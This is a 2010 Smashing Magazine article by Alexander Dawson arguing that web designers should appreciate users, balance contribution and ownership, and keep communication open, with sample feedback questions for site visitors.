The ABCs of experience: appreciation, balance and communication.

A few of the ideas you get from users are bound to be cringe-worthy, but it’s surprising how many good ones you’ll get if you implement feedback functionality properly. The stereotypical designer who leads with his gut is a testament to the lack of awareness of user expectations and needs. We must acknowledge this co-dependency, this need for an exchange of perspectives, and the value of the anonymous designer.

Appreciation

Your visitors are so much more than statistics. They deserve to be appreciated. You, the professional, can re-engineer a website until the cows come home, but it’s ultimately up to users to decide whether to make use of your services. Acknowledging and understanding their needs, and encouraging diversity, is critical to breaking down barriers.

Appreciate your users and the issues they might encounter, and be patient. That also means having a clean, attractive design that communicates. Example: EightHourDay

Ask your visitors the following questions:

• What, if anything, could my website offer to better meet your needs?
• Do you have any technical difficulties with the way the website functions?
• What more could we offer to deliver additional value?

Balance

Balance is integral to life, and it’s probably more critical to design than other Internet-related fields. Designers forge open bonds with visitors that often lead to social relationships that enrich not only our websites but our lives. Visitors hold greater value for our communities than many of us care to admit — think of Wikipedia or Facebook. Maintaining good relationships with them is paramount.

Stay level-headed by maintaining the balance between contribution and ownership.

Ask your visitors the following questions:

• How can we encourage you to participate more often?
• What content or services would you like to see in future?
• How much time do you spend on our website?

Communication

Communication is fundamental to our social and interactive experiences on the Web, and the staggering amount of rich content (not even counting spam!) that visitors contribute could exceed our wildest dreams. The user’s job is to come forth and help us help them, but our job is to act as intermediaries between them and the website so that they achieve the ideal experience. We are the Web’s “interpreters.”

Communication is paramount. Make sure you can be contacted easily.

Ask your visitors the following questions:

• Are we missing an essential feature that would help us help you?
• Do you have any concerns or complaints that we need to address?
• Is there anything you want to ask about our website or services?

The Sociological Switch

Of all that has been addressed in this article, the most important is the process of planning and implementing mechanisms for visitors to interact with your services. So, put time and effort into studying how to make your website better. There are many methods of doing this (audits, surveys, statistics). What’s important is that lines of communication with your users stay open, so that you can go about your business successfully.

Planning and research make up a huge portion of the creation of the user experience.

The future of the Web will be about being socially connected, and a role reversal that I call the “sociological switch” seems to be taking place. Simply put, we Web professionals are becoming the audience of our users’ demands, and users are becoming anonymous designers, deciding where they visit, how the Web should evolve and how media are constructed and consumed.

As you leave comments below, just think that by contributing here, you’re making a difference in Smashing Magazine’s relationship with its audience and the world. By leaving space for your comments and your participation, Smashing Magazine is trying to meet your needs. Think about how you can use your audience to your advantage and improve design beyond even your own expectations.

(al)

© Alexander Dawson for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags: Design, user